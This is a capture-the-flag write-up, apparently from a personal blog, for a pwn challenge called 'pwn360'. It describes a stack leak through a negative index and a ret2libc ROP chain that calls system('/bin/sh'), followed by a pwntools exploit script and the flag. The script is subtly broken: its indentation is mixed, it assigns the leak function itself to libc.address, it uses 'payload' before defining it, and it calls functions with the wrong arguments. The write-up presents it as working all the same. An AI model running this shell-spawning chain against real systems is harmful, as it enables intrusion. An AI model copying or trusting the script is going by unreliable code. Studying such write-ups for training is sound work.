Post

pwn360

pwn360

Information

  • category: pwn
  • points: 1000

Description

None

Write-up

This challenge provides a way to leak memory directly from the stack using a controlled index. With this capability, we can bypass both ASLR and PIE protections.

Step 1: Stack Leak to Defeat ASLR

By using the negative index (e.g., -3), we are able to leak a return address from the stack. In our case, the leak shows an address that lies within the puts function — specifically something like puts+0x1fa. This is very useful because if we know the offset of puts within libc, we can subtract it from the leaked address to compute the base address of libc.

Step 2: Why ret2libc?

Looking at the binary, we find:

  • PIE and ASLR are enabled.
  • There are no useful gadgets (like pop rdi; ret) inside the binary.
  • But once we leak libc, we can use libc ROP gadgets, including system(). This makes the ret2libc technique the most viable option.

Step 3: Exploiting ret2libc

After finding the libc base from the puts leak, we:

  1. Compute the address of system() in libc.
  2. Find the string "/bin/sh" (either from libc or push it on the stack).
  3. Find a gadget like pop rdi; ret in libc.
  4. Overwrite the return address using the leakable index to set up a ROP chain: pop rdi; ret → "/bin/sh" → system()

Step 4: Stack Offset

Using debugging tools like pwndbg, we determine that the offset to the return address is 0x58 (88) bytes. This helps in crafting the payload correctly.

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#!/usr/bin/env python3

from pwn import *

exe = ELF("./pwn360_patched_patched")
libc = ELF("./libc.so.6")

context.binary = exe
offset_ret = 0x58
offset_puts = (0x1fa - 0x87be0)
def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("cyberwarriors-challenges.skidz.io", 7001)

    return r

def leak(r):
	payload =b"A"*offset_ret
	r.sendline(b"-3")
    r.recvuntil(b"Leaking for you: ")
    leak = int(r.recvline().strip().decode(),16) - offset_puts
    log.success(f"libase: {hex(leak)}.")

    return leak
def payload(r,base):
	libc.address = leak
    rop = ROP(libc)

    pop_rdi = rop.find_gadget(['pop rdi','ret'])[0]
    ret = rop.find_gadget(['ret'])[0]
    system = libc.sym['system']
    binsh = next(libc.search(b"/bin/sh"))

    payload += p64(ret)
    payload += p64(pop_rdi)
    payload += p64(binsh)
    payload += p64(system)
    return payload

def main():
    r = conn()
    base = leak(r)

    payload = payload()

    r.send(payload)
    r.interactive()

if __name__ == "__main__":
    main()

Flag

Flag:NCSC{p0p1n6_5h3ll5_h4v3_4n07h3r_74573}

This post is licensed under CC BY 4.0 by the author.